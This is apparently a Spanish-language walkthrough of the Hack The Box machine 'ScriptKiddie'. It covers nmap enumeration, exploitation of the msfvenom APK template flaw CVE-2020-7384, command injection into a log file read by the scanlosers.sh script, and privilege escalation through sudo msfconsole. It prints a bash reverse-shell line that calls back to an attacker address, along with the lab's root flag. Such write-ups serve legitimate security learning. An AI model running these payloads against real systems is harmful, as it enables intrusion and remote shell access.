ScriptKiddie - HTB Writeup
Enumeración
Comenzamos enviando una traza ICMP a la máquina para ver si está activa y para detectar el OS:
┌─[z3r0byte@z3r0byte]─[~/CTF/HTB/scriptKiddie/nmap]
└──╼ $ ping -c 1 10.10.10.226
PING 10.10.10.226 (10.10.10.226) 56(84) bytes of data.
64 bytes from 10.10.10.226: icmp_seq=1 ttl=63 time=92.0 ms
--- 10.10.10.226 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 91.973/91.973/91.973/0.000 ms
La máquina nos responde, y mediante el TTL veo que es una máquina linux.
Más información sobre la deteccion de OS mediante TTL aquí.
También puedes hacer uso de mi herramienta OSidentifier.
Nmap
Seguimos con un escaneo de puertos con nmap
:
┌──z3r0byte@z3r0byte]─[~/CTF/HTB/scriptKiddie/nmap]
└──╼ $sudo nmap -p- -sS --min-rate 1500 -v -n 10.10.10.226 -oG allPorts
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-19 16:13 WEST
Initiating Ping Scan at 16:13
Scanning 10.10.10.226 [4 ports]
Completed Ping Scan at 16:13, 0.12s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:13
Scanning 10.10.10.226 [65535 ports]
Discovered open port 22/tcp on 10.10.10.226
Discovered open port 5000/tcp on 10.10.10.226
Completed SYN Stealth Scan at 16:14, 62.11s elapsed (65535 total ports)
Nmap scan report for 10.10.10.226
Host is up (0.29s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 62.49 seconds
Raw packets sent: 88652 (3.901MB) | Rcvd: 75840 (3.034MB)
Ejecuto otro escaneo para ver más información sobre los puertos abiertos:
┌─[z3r0byte@z3r0byte]─[~/CTF/HTB/scriptKiddie/nmap]
└──╼ $nmap -sC -sV -p22,5000 10.10.10.226 -oN targeted
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-19 16:18 WEST
Nmap scan report for 10.10.10.226
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
| 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.10 seconds
Vemos que hay un servidor HTTP en el puerto 5000, veamoslo.
User
Voy hasta el servidor web usando el navegador:
Tras probar todas las opciones disponibles e intentar inyectar comandos, me doy cuenta de que la sección ‘Payloads’ contiene un campo para subir un template file.
Suponiendo que por detrás se está ejecutando un msfvenom, busco información acerca de los template files en msfvenom.
Y encuentro un exploit que se aprovecha de estos template files. CVE-2020-7384
Uso un exploit de github que automatiza la explotación de esta vulnerabilidad.
Los pasos que seguí para conseguir una shell fueron los siguientes:
- Ejecuto el exploit de github en mi máquina para generar una apk maliciosa
┌─[z3r0byte@z3r0byte]─[~/CTF/HTB/scriptKiddie/content]
└──╼ $./CVE-2020-7384.sh
CVE-2020-7384
Enter the LHOST:
10.10.16.38
Enter the LPORT:
4444
Select the payload type
1. nc
2. bash
3. python
4. python3
select: 2
Enter the Directory (absolute path) where you would like to save the apk file (Hit Enter to use the current directory):
adding: emptyfile (stored 0%)
jar signed.
Warning:
The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk. This algorithm will be disabled in a future update.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk. This algorithm will be disabled in a future update.
POSIX file permission and/or symlink attributes detected. These attributes are ignored when signing and are not protected by the signature.
New APK file Generated
Location: "/home/z3r0byte/CTF/HTB/scriptKiddie/content/exploit.apk"
The APK file generated could be now uploaded or used for exploitation
If you have access to the vulnerable machine then run:
msfvenom -x <your newly created apk> -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null
┌─[z3r0byte@z3r0byte]─[~/CTF/HTB/scriptKiddie/content]
└──╼ $
- En el servidor web, En la parte de ‘payloads’ pongo de OS android, de LHOST 127.0.0.1 y subo el apk generado en el campo de template file
- Nos ponemos en escucha por el puerto que hayamos puesto para la creación del apk
┌─[z3r0byte@z3r0byte]─[~/CTF/HTB/scriptKiddie/content]
└──╼ $nc -lvnp 4444
Listening on 0.0.0.0 4444
- Por último, en el servidor web, le damos click en el botón de Generate. Nos debería de llegar una shell.
┌─[z3r0byte@z3r0byte]─[~/CTF/HTB/scriptKiddie/content]
└──╼ $nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.226 33426
bash: cannot set terminal process group (893): Inappropriate ioctl for device
bash: no job control in this shell
kid@scriptkiddie:~/html$
A partir de aquí podríamos ver la flag user.txt en /home/kid/user.txt
Root
Enumerando el sistema me doy cuenta de que hay más usuarios en el sistema.
kid@scriptkiddie:~$ grep -E 1[0-9]{3} /etc/passwd | sed s/:/\ / | awk '{print $1}'
kid
pwn
kid@scriptkiddie:~$
Miro si tienen directorio personal en /home y si lo tienen.
Accedo al directorio personal de pwn.
Ahí, me encuentro un script llamado scanlosers.sh
kid@scriptkiddie:/home/pwn$ ls
recon scanlosers.sh
kid@scriptkiddie:/home/pwn$ cat scanlosers.sh
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
kid@scriptkiddie:/home/pwn$
Tras un buen rato, intentando entender lo que hacia el script y tratando de averiguar como inyectar comandos, llegue a la siguiente conclusión.
Al modificar el archivo /home/kid/logs/hackers, el script scanlosers.sh se ejecuta.
Estuve intentando varias maneras de “bypassear” el cut que le aplica cuando lee el archivo hackers, hasta que lo conseguí.
echo " ;/bin/bash -c '/bin/bash -i>&/dev/tcp/10.10.16.38/4444 0>&1' # " > /no/existe
Si no se pone el comentario del final, no te llegará la reverse shell.
Usuario pwn
Una vez nos llega la shell, estamos como el usuario pwn.
pwn@scriptkiddie:~$ id
uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)
pwn@scriptkiddie:~$
Hago sudo -l
y veo que puedo ejecutar msfconsole como usuario root.
A partir de esto, la escalada es muy facil:
pwn@scriptkiddie:~$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie:
(root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
pwn@scriptkiddie:~$ sudo -u root /opt/metasploit-framework-6.0.9/msfconsole
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v6.0.9-dev ]
+ -- --=[ 2069 exploits - 1122 auxiliary - 352 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: View a modules description using info, or the enhanced version in your browser with info -d
msf6 > /bin/bash
[*] exec: /bin/bash
root@scriptkiddie:/home/pwn# cat /root/root.txt
9fb10676c35096d079eb083f7f99d7f3
root@scriptkiddie:/home/pwn#
Y ya seríamos root.
Opinión
Me ha parecido una máquina muy divertida aunque la parte de conseguir inyeccion de comandos en el script scanlosers.sh me haya resultado un poco frustrante.